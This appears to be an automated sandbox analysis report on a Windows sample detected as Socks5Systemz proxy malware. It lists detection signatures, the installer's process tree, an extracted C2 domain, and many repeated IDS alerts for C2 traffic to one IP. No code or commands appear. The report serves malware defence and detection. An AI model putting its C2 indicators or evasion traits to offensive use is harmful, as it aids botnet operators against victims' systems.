Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1511441
MD5:	16c1b3c872a490d259d8ccca7cedad11
SHA1:	3d5ab5e1ad2270dfa7dba9328be6a0b8c867e908
SHA256:	58dbc61b141b1ba5c957c2a4bf1036a8ff92135ecc88085925e7c2bace660860
Tags:	exe
Infos:

Detection

Socks5Systemz

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Socks5Systemz

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to infect the boot sector

Machine Learning detection for dropped file

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6796 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 16C1B3C872A490D259D8CCCA7CEDAD11)

file.tmp (PID: 3720 cmdline: "C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp" /SL5="$20428,3195553,56832,C:\Users\user\Desktop\file.exe" MD5: FAC4C28483FA3BE6BBCBB9544E768C0B)

freeprogramingtv32.exe (PID: 1800 cmdline: "C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe" -i MD5: EF7530E4B883531FD823363CAE0463A0)

cleanup

Malware Configuration

Threatname: Socks5Systemz

{"C2 list": ["beeyiuc.comC"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
00000002.00000002.2929265237.0000000002712000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
Process Memory Space: freeprogramingtv32.exe PID: 1800	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security

Suricata Signatures

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T13:55:54.665683+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49736	185.196.8.214	80	TCP
2024-09-15T13:55:57.580967+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49736	185.196.8.214	80	TCP
2024-09-15T13:55:57.932793+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49736	185.196.8.214	80	TCP
2024-09-15T13:55:58.740593+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49740	185.196.8.214	80	TCP
2024-09-15T13:55:59.548731+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49741	185.196.8.214	80	TCP
2024-09-15T13:56:00.366296+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49742	185.196.8.214	80	TCP
2024-09-15T13:56:01.201427+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49743	185.196.8.214	80	TCP
2024-09-15T13:56:01.556782+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49743	185.196.8.214	80	TCP
2024-09-15T13:56:02.370326+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49744	185.196.8.214	80	TCP
2024-09-15T13:56:03.236756+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49745	185.196.8.214	80	TCP
2024-09-15T13:56:03.581051+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49745	185.196.8.214	80	TCP
2024-09-15T13:56:03.928369+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49745	185.196.8.214	80	TCP
2024-09-15T13:56:04.742235+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49746	185.196.8.214	80	TCP
2024-09-15T13:56:05.597968+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49747	185.196.8.214	80	TCP
2024-09-15T13:56:06.424544+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49748	185.196.8.214	80	TCP
2024-09-15T13:56:06.771344+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49748	185.196.8.214	80	TCP
2024-09-15T13:56:07.590774+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49749	185.196.8.214	80	TCP
2024-09-15T13:56:08.402041+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49750	185.196.8.214	80	TCP
2024-09-15T13:56:09.212851+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49751	185.196.8.214	80	TCP
2024-09-15T13:56:10.025953+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49752	185.196.8.214	80	TCP
2024-09-15T13:56:10.840863+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49753	185.196.8.214	80	TCP
2024-09-15T13:56:11.653919+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49754	185.196.8.214	80	TCP
2024-09-15T13:56:12.479146+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49755	185.196.8.214	80	TCP
2024-09-15T13:56:13.296919+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49756	185.196.8.214	80	TCP
2024-09-15T13:56:13.652098+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49756	185.196.8.214	80	TCP
2024-09-15T13:56:14.465756+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49757	185.196.8.214	80	TCP
2024-09-15T13:56:15.303053+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49758	185.196.8.214	80	TCP
2024-09-15T13:56:16.120176+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49759	185.196.8.214	80	TCP
2024-09-15T13:56:16.928031+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49760	185.196.8.214	80	TCP
2024-09-15T13:56:17.772303+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49761	185.196.8.214	80	TCP
2024-09-15T13:56:18.615510+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49762	185.196.8.214	80	TCP
2024-09-15T13:56:19.433862+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49763	185.196.8.214	80	TCP
2024-09-15T13:56:20.247297+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49764	185.196.8.214	80	TCP
2024-09-15T13:56:21.052795+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49765	185.196.8.214	80	TCP
2024-09-15T13:56:21.876208+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49766	185.196.8.214	80	TCP
2024-09-15T13:56:22.234210+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49766	185.196.8.214	80	TCP
2024-09-15T13:56:22.583463+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49766	185.196.8.214	80	TCP
2024-09-15T13:56:23.422809+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49767	185.196.8.214	80	TCP
2024-09-15T13:56:23.785208+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49767	185.196.8.214	80	TCP
2024-09-15T13:56:24.608723+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49768	185.196.8.214	80	TCP
2024-09-15T13:56:24.958189+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49768	185.196.8.214	80	TCP
2024-09-15T13:56:25.774256+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49769	185.196.8.214	80	TCP
2024-09-15T13:56:26.595278+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49770	185.196.8.214	80	TCP
2024-09-15T13:56:26.941466+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49770	185.196.8.214	80	TCP
2024-09-15T13:56:27.290490+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49770	185.196.8.214	80	TCP
2024-09-15T13:56:28.091523+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49771	185.196.8.214	80	TCP
2024-09-15T13:56:28.906668+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49772	185.196.8.214	80	TCP
2024-09-15T13:56:29.258690+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49772	185.196.8.214	80	TCP
2024-09-15T13:56:30.081968+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49773	185.196.8.214	80	TCP
2024-09-15T13:56:30.923177+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49774	185.196.8.214	80	TCP
2024-09-15T13:56:31.279978+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49774	185.196.8.214	80	TCP
2024-09-15T13:56:31.629543+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49774	185.196.8.214	80	TCP
2024-09-15T13:56:32.451725+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49775	185.196.8.214	80	TCP
2024-09-15T13:56:33.366497+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49776	185.196.8.214	80	TCP
2024-09-15T13:56:34.200081+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49777	185.196.8.214	80	TCP
2024-09-15T13:56:35.007645+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49778	185.196.8.214	80	TCP
2024-09-15T13:56:35.896889+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49779	185.196.8.214	80	TCP
2024-09-15T13:56:36.718667+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49780	185.196.8.214	80	TCP
2024-09-15T13:56:37.068584+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49780	185.196.8.214	80	TCP
2024-09-15T13:56:37.892510+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49781	185.196.8.214	80	TCP
2024-09-15T13:56:38.735983+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49782	185.196.8.214	80	TCP
2024-09-15T13:56:39.087427+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49782	185.196.8.214	80	TCP
2024-09-15T13:56:39.932334+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49783	185.196.8.214	80	TCP
2024-09-15T13:56:40.779893+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49784	185.196.8.214	80	TCP
2024-09-15T13:56:41.595992+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49785	185.196.8.214	80	TCP
2024-09-15T13:56:41.950046+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49785	185.196.8.214	80	TCP
2024-09-15T13:56:42.793731+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49786	185.196.8.214	80	TCP
2024-09-15T13:56:43.632048+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49787	185.196.8.214	80	TCP
2024-09-15T13:56:44.464711+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49788	185.196.8.214	80	TCP
2024-09-15T13:56:45.302301+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49789	185.196.8.214	80	TCP
2024-09-15T13:56:46.126399+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49790	185.196.8.214	80	TCP
2024-09-15T13:56:46.482038+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49790	185.196.8.214	80	TCP
2024-09-15T13:56:47.293011+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49791	185.196.8.214	80	TCP
2024-09-15T13:56:48.112792+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49792	185.196.8.214	80	TCP
2024-09-15T13:56:48.933845+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49793	185.196.8.214	80	TCP
2024-09-15T13:56:49.760762+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49794	185.196.8.214	80	TCP
2024-09-15T13:56:50.578871+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49795	185.196.8.214	80	TCP
2024-09-15T13:56:51.407828+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49796	185.196.8.214	80	TCP
2024-09-15T13:56:51.759255+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49796	185.196.8.214	80	TCP
2024-09-15T13:56:52.727965+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49797	185.196.8.214	80	TCP
2024-09-15T13:56:53.592994+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49798	185.196.8.214	80	TCP
2024-09-15T13:56:54.409471+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49799	185.196.8.214	80	TCP
2024-09-15T13:56:55.229367+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49800	185.196.8.214	80	TCP
2024-09-15T13:56:56.046244+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49801	185.196.8.214	80	TCP
2024-09-15T13:56:57.144604+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49802	185.196.8.214	80	TCP
2024-09-15T13:56:57.978961+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49803	185.196.8.214	80	TCP
2024-09-15T13:56:58.821593+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49804	185.196.8.214	80	TCP
2024-09-15T13:56:59.665656+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49805	185.196.8.214	80	TCP
2024-09-15T13:57:00.485041+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49806	185.196.8.214	80	TCP
2024-09-15T13:57:01.308009+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49807	185.196.8.214	80	TCP
2024-09-15T13:57:02.154495+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49808	185.196.8.214	80	TCP
2024-09-15T13:57:03.099744+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49809	185.196.8.214	80	TCP
2024-09-15T13:57:03.934141+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49810	185.196.8.214	80	TCP
2024-09-15T13:57:04.745497+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49811	185.196.8.214	80	TCP

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T13:55:54.665683+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49736	185.196.8.214	80	TCP
2024-09-15T13:55:57.580967+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49736	185.196.8.214	80	TCP
2024-09-15T13:55:57.932793+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49736	185.196.8.214	80	TCP
2024-09-15T13:55:58.740593+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49740	185.196.8.214	80	TCP
2024-09-15T13:55:59.548731+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49741	185.196.8.214	80	TCP
2024-09-15T13:56:00.366296+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49742	185.196.8.214	80	TCP
2024-09-15T13:56:01.201427+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49743	185.196.8.214	80	TCP
2024-09-15T13:56:01.556782+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49743	185.196.8.214	80	TCP
2024-09-15T13:56:02.370326+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49744	185.196.8.214	80	TCP
2024-09-15T13:56:03.236756+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49745	185.196.8.214	80	TCP
2024-09-15T13:56:03.581051+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49745	185.196.8.214	80	TCP
2024-09-15T13:56:03.928369+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49745	185.196.8.214	80	TCP
2024-09-15T13:56:04.742235+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49746	185.196.8.214	80	TCP
2024-09-15T13:56:05.597968+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49747	185.196.8.214	80	TCP
2024-09-15T13:56:06.424544+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49748	185.196.8.214	80	TCP
2024-09-15T13:56:06.771344+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49748	185.196.8.214	80	TCP
2024-09-15T13:56:07.590774+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49749	185.196.8.214	80	TCP
2024-09-15T13:56:08.402041+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49750	185.196.8.214	80	TCP
2024-09-15T13:56:09.212851+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49751	185.196.8.214	80	TCP
2024-09-15T13:56:10.025953+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49752	185.196.8.214	80	TCP
2024-09-15T13:56:10.840863+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49753	185.196.8.214	80	TCP
2024-09-15T13:56:11.653919+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49754	185.196.8.214	80	TCP
2024-09-15T13:56:12.479146+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49755	185.196.8.214	80	TCP
2024-09-15T13:56:13.296919+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49756	185.196.8.214	80	TCP
2024-09-15T13:56:13.652098+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49756	185.196.8.214	80	TCP
2024-09-15T13:56:14.465756+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49757	185.196.8.214	80	TCP
2024-09-15T13:56:15.303053+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49758	185.196.8.214	80	TCP
2024-09-15T13:56:16.120176+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49759	185.196.8.214	80	TCP
2024-09-15T13:56:16.928031+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49760	185.196.8.214	80	TCP
2024-09-15T13:56:17.772303+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49761	185.196.8.214	80	TCP
2024-09-15T13:56:18.615510+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49762	185.196.8.214	80	TCP
2024-09-15T13:56:19.433862+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49763	185.196.8.214	80	TCP
2024-09-15T13:56:20.247297+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49764	185.196.8.214	80	TCP
2024-09-15T13:56:21.052795+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49765	185.196.8.214	80	TCP
2024-09-15T13:56:21.876208+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49766	185.196.8.214	80	TCP
2024-09-15T13:56:22.234210+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49766	185.196.8.214	80	TCP
2024-09-15T13:56:22.583463+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49766	185.196.8.214	80	TCP
2024-09-15T13:56:23.422809+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49767	185.196.8.214	80	TCP
2024-09-15T13:56:23.785208+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49767	185.196.8.214	80	TCP
2024-09-15T13:56:24.608723+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49768	185.196.8.214	80	TCP
2024-09-15T13:56:24.958189+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49768	185.196.8.214	80	TCP
2024-09-15T13:56:25.774256+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49769	185.196.8.214	80	TCP
2024-09-15T13:56:26.595278+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49770	185.196.8.214	80	TCP
2024-09-15T13:56:26.941466+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49770	185.196.8.214	80	TCP
2024-09-15T13:56:27.290490+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49770	185.196.8.214	80	TCP
2024-09-15T13:56:28.091523+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49771	185.196.8.214	80	TCP
2024-09-15T13:56:28.906668+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49772	185.196.8.214	80	TCP
2024-09-15T13:56:29.258690+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49772	185.196.8.214	80	TCP
2024-09-15T13:56:30.081968+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49773	185.196.8.214	80	TCP
2024-09-15T13:56:30.923177+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49774	185.196.8.214	80	TCP
2024-09-15T13:56:31.279978+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49774	185.196.8.214	80	TCP
2024-09-15T13:56:31.629543+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49774	185.196.8.214	80	TCP
2024-09-15T13:56:32.451725+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49775	185.196.8.214	80	TCP
2024-09-15T13:56:33.366497+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49776	185.196.8.214	80	TCP
2024-09-15T13:56:34.200081+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49777	185.196.8.214	80	TCP
2024-09-15T13:56:35.007645+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49778	185.196.8.214	80	TCP
2024-09-15T13:56:35.896889+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49779	185.196.8.214	80	TCP
2024-09-15T13:56:36.718667+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49780	185.196.8.214	80	TCP
2024-09-15T13:56:37.068584+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49780	185.196.8.214	80	TCP
2024-09-15T13:56:37.892510+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49781	185.196.8.214	80	TCP
2024-09-15T13:56:38.735983+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49782	185.196.8.214	80	TCP
2024-09-15T13:56:39.087427+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49782	185.196.8.214	80	TCP
2024-09-15T13:56:39.932334+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49783	185.196.8.214	80	TCP
2024-09-15T13:56:40.779893+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49784	185.196.8.214	80	TCP
2024-09-15T13:56:41.595992+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49785	185.196.8.214	80	TCP
2024-09-15T13:56:41.950046+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49785	185.196.8.214	80	TCP
2024-09-15T13:56:42.793731+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49786	185.196.8.214	80	TCP
2024-09-15T13:56:43.632048+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49787	185.196.8.214	80	TCP
2024-09-15T13:56:44.464711+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49788	185.196.8.214	80	TCP
2024-09-15T13:56:45.302301+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49789	185.196.8.214	80	TCP
2024-09-15T13:56:46.126399+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49790	185.196.8.214	80	TCP
2024-09-15T13:56:46.482038+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49790	185.196.8.214	80	TCP
2024-09-15T13:56:47.293011+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49791	185.196.8.214	80	TCP
2024-09-15T13:56:48.112792+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49792	185.196.8.214	80	TCP
2024-09-15T13:56:48.933845+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49793	185.196.8.214	80	TCP
2024-09-15T13:56:49.760762+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49794	185.196.8.214	80	TCP
2024-09-15T13:56:50.578871+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49795	185.196.8.214	80	TCP
2024-09-15T13:56:51.407828+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49796	185.196.8.214	80	TCP
2024-09-15T13:56:51.759255+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49796	185.196.8.214	80	TCP
2024-09-15T13:56:52.727965+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49797	185.196.8.214	80	TCP
2024-09-15T13:56:53.592994+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49798	185.196.8.214	80	TCP
2024-09-15T13:56:54.409471+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49799	185.196.8.214	80	TCP
2024-09-15T13:56:55.229367+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49800	185.196.8.214	80	TCP
2024-09-15T13:56:56.046244+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49801	185.196.8.214	80	TCP
2024-09-15T13:56:57.144604+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49802	185.196.8.214	80	TCP
2024-09-15T13:56:57.978961+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49803	185.196.8.214	80	TCP
2024-09-15T13:56:58.821593+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49804	185.196.8.214	80	TCP
2024-09-15T13:56:59.665656+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49805	185.196.8.214	80	TCP
2024-09-15T13:57:00.485041+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49806	185.196.8.214	80	TCP
2024-09-15T13:57:01.308009+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49807	185.196.8.214	80	TCP
2024-09-15T13:57:02.154495+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49808	185.196.8.214	80	TCP
2024-09-15T13:57:03.099744+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49809	185.196.8.214	80	TCP
2024-09-15T13:57:03.934141+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49810	185.196.8.214	80	TCP
2024-09-15T13:57:04.745497+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49811	185.196.8.214	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: freeprogramingtv32.exe.1800.2.memstrmin

Malware Configuration Extractor: Socks5Systemz {"C2 list": ["beeyiuc.comC"]}

Multi AV Scanner detection for domain / URL

Source: http://185.196.8.214/

Virustotal: Detection: 11%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\DPI Analog Input 9.15.45\DPI Analog Input 9.15.45.exe	Virustotal: Detection: 34%			Perma Link
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Virustotal: Detection: 34%			Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 26%			Perma Link
Source: file.exe	ReversingLabs: Detection: 15%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\DPI Analog Input 9.15.45\DPI Analog Input 9.15.45.exe	Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_0045D188 GetProcAddress,GetProcAddress,GetProcAddress,ISCryptGetVersion,	1_2_0045D188
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_0045D254 ArcFourCrypt,	1_2_0045D254
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_0045D23C ArcFourCrypt,	1_2_0045D23C
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_10001000 ISCryptGetVersion,	1_2_10001000
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_10001130 ArcFourCrypt,	1_2_10001130

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Unpacked PE file: 2.2.freeprogramingtv32.exe.400000.0.unpack

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Free Programing TV_is1

Jump to behavior

Source:	Binary string: msvcp71.pdbx# source: is-UFCL6.tmp.1.dr
Source:	Binary string: msvcr71.pdb< source: is-KSEJR.tmp.1.dr
Source:	Binary string: F:\Temp\openssl-1.1.1t\libssl-1_1.pdb source: is-UF6SG.tmp.1.dr
Source:	Binary string: msvcp71.pdb source: is-UFCL6.tmp.1.dr
Source:	Binary string: c:\zlib-dll\Release\isunzlib.pdb source: file.tmp, 00000001.00000002.2929154321.0000000002403000.00000002.00000001.01000000.00000007.sdmp, file.tmp, 00000001.00000003.1683500134.00000000021E8000.00000004.00001000.00020000.00000000.sdmp, file.tmp, 00000001.00000003.1683406129.0000000003120000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.1.dr
Source:	Binary string: msvcr71.pdb source: is-KSEJR.tmp.1.dr

